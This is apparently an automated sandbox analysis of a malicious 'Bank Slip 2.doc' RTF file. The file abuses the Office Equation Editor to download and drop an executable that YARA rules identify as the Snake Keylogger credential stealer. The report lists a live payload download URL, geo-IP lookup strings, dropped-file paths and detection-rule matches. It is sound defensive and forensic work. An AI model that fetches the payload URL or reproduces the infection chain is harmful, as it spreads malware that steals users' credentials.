Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: obie8920193.exe, 00000007.00000002.864677424.0000000002367000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002392000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002385000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002374000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000022EC000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: obie8920193.exe, 00000005.00000002.366421408.0000000002571000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: obie8920193.exe.2.dr, FcdBUj68lnCbMtB[1].exe.2.dr	String found in binary or memory: http://www.opcom.ro/rapoarte/export_csv_raportPIPsiVolumTranzactionat_PI.php?zi=
Source: obie8920193.exe.2.dr, FcdBUj68lnCbMtB[1].exe.2.dr	String found in binary or memory: http://www.opcom.ro/rapoarte/export_xml_PIPsiVolTranPI.php?zi=
Source: EQNEDT32.EXE, 00000002.00000002.354581271.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ampol.top/
Source: EQNEDT32.EXE, 00000002.00000002.354581271.00000000005BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ampol.top/FcdBUj68lnCbMtB.exe
Source: EQNEDT32.EXE, 00000002.00000002.354581271.00000000005BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ampol.top/FcdBUj68lnCbMtB.exej
Source: EQNEDT32.EXE, 00000002.00000002.354581271.00000000005BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ampol.top/FcdBUj68lnCbMtB.exettC:
Source: obie8920193.exe, 00000007.00000002.864677424.0000000002367000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002392000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000022D4000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002385000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002374000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023C0000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: obie8920193.exe, 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000022D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: obie8920193.exe, 00000007.00000002.864677424.0000000002317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.33
Source: obie8920193.exe, 00000007.00000002.864677424.0000000002367000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002392000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002385000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002374000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.00000000023C0000.00000004.00000800.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864677424.0000000002317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.334
Source: EQNEDT32.EXE, 00000002.00000002.354581271.000000000063A000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe, 00000007.00000002.864185355.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: EQNEDT32.EXE, 00000002.00000002.354913231.0000000004379000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000002.354581271.00000000005FF000.00000004.00000020.00020000.00000000.sdmp, obie8920193.exe.2.dr, FcdBUj68lnCbMtB[1].exe.2.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49176
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49174
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443

Source: unknown

HTTPS traffic detected: 104.21.53.203:443 -> 192.168.2.22:49163 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Bank Slip 2.doc, type: SAMPLE	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: 5.2.obie8920193.exe.3599d70.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.obie8920193.exe.3599d70.8.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.obie8920193.exe.3599d70.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.obie8920193.exe.3599d70.8.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 5.2.obie8920193.exe.3579550.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.obie8920193.exe.3579550.10.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.obie8920193.exe.3579550.10.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.obie8920193.exe.3579550.10.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 7.2.obie8920193.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.obie8920193.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.obie8920193.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 7.2.obie8920193.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 5.2.obie8920193.exe.3579550.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 5.2.obie8920193.exe.3579550.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 5.2.obie8920193.exe.3579550.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 5.2.obie8920193.exe.3579550.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000007.00000002.864143938.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000005.00000002.366574375.0000000003579000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: obie8920193.exe PID: 3152, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: obie8920193.exe PID: 3152, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: obie8920193.exe PID: 3244, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: obie8920193.exe PID: 3244, type: MEMORYSTR	Matched rule: Detects Snake Keylogger Author: ditekSHen

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\obie8920193.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\FcdBUj68lnCbMtB[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\obie8920193.exe

Process Stats: CPU usage > 49%

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 5_2_001C1C58	5_2_001C1C58
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 5_2_002605E0	5_2_002605E0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 5_2_0026F0C8	5_2_0026F0C8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 5_2_002612C9	5_2_002612C9
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 5_2_0026E370	5_2_0026E370
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 5_2_0026E7A8	5_2_0026E7A8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 5_2_0026E798	5_2_0026E798
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 5_2_0026FA60	5_2_0026FA60
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 5_2_0026FA70	5_2_0026FA70
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 5_2_0026EC90	5_2_0026EC90
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C5038	7_2_003C5038
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C3055	7_2_003C3055
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C3891	7_2_003C3891
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C78C1	7_2_003C78C1
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C4130	7_2_003C4130
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C2910	7_2_003C2910
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003CD1D8	7_2_003CD1D8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C8A19	7_2_003C8A19
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C5B18	7_2_003C5B18
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C3B72	7_2_003C3B72
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C2BF1	7_2_003C2BF1
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C844A	7_2_003C844A
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C35B0	7_2_003C35B0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C3E50	7_2_003C3E50
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003CC750	7_2_003CC750
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C6740	7_2_003C6740
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C7000	7_2_003C7000
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C6BA0	7_2_003C6BA0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003C7460	7_2_003C7460
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003CC740	7_2_003CC740
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003CBFBA	7_2_003CBFBA
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_003CBFC8	7_2_003CBFC8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00575E58	7_2_00575E58
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057F460	7_2_0057F460
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057EE10	7_2_0057EE10
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057D4E0	7_2_0057D4E0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057E178	7_2_0057E178
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057DB30	7_2_0057DB30
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057E7C0	7_2_0057E7C0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00579459	7_2_00579459
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00574448	7_2_00574448
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057AA48	7_2_0057AA48
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00571471	7_2_00571471
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00579468	7_2_00579468
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00577A10	7_2_00577A10
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00571018	7_2_00571018
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00575A00	7_2_00575A00
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057443E	7_2_0057443E
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00572A38	7_2_00572A38
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057AA38	7_2_0057AA38
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00571028	7_2_00571028
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057C028	7_2_0057C028
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00572A28	7_2_00572A28
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_005732D9	7_2_005732D9
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_005718D8	7_2_005718D8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057C8D8	7_2_0057C8D8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_005718C9	7_2_005718C9
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00576CC8	7_2_00576CC8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00574CF8	7_2_00574CF8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00574CEA	7_2_00574CEA
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_005732E8	7_2_005732E8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_005798E8	7_2_005798E8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00572E90	7_2_00572E90
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00574890	7_2_00574890
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057AE90	7_2_0057AE90
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00577698	7_2_00577698
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00572E81	7_2_00572E81
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00571480	7_2_00571480
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057C480	7_2_0057C480
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00576CBC	7_2_00576CBC
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_005748A0	7_2_005748A0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057AEA0	7_2_0057AEA0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00575150	7_2_00575150
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00573740	7_2_00573740
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00579D40	7_2_00579D40
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00575140	7_2_00575140
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00570778	7_2_00570778
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057B778	7_2_0057B778
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00572178	7_2_00572178
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057B767	7_2_0057B767
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00570768	7_2_00570768
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057B311	7_2_0057B311
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00570310	7_2_00570310
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00578708	7_2_00578708
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00573732	7_2_00573732
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00571D30	7_2_00571D30
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00570320	7_2_00570320
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057B320	7_2_0057B320
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00571D20	7_2_00571D20
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_005725D1	7_2_005725D1
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00570BD0	7_2_00570BD0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057BBD0	7_2_0057BBD0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00570BC2	7_2_00570BC2
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057BBC1	7_2_0057BBC1
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_005759F2	7_2_005759F2
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00573FF0	7_2_00573FF0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057A5F0	7_2_0057A5F0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057A5E1	7_2_0057A5E1
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_005725E0	7_2_005725E0
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00573FEA	7_2_00573FEA
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00573B98	7_2_00573B98
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057A198	7_2_0057A198
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00575598	7_2_00575598
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00572188	7_2_00572188
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00573B88	7_2_00573B88
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_0057A188	7_2_0057A188
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_005755A8	7_2_005755A8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00690040	7_2_00690040
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00690CD8	7_2_00690CD8
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00690690	7_2_00690690
Source: C:\Users\user\AppData\Roaming\obie8920193.exe	Code function: 7_2_00690006	7_2_00690006

Source: Bank Slip 2.doc, type: SAMPLE	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 5.2.obie8920193.exe.3599d70.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.obie8920193.exe.3599d70.8.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.obie8920193.exe.3599d70.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.obie8920193.exe.3599d70.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 5.2.obie8920193.exe.3579550.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.obie8920193.exe.3579550.10.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.obie8920193.exe.3579550.10.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.obie8920193.exe.3579550.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 7.2.obie8920193.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.obie8920193.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.obie8920193.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 7.2.obie8920193.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
Source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.obie8920193.exe.3599d70.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_SnakeKeylogger author = ditekSHen, description = Detects Snake Keylogger, clamav_sig = MALWARE.Win.Trojan.SnakeKeylogger
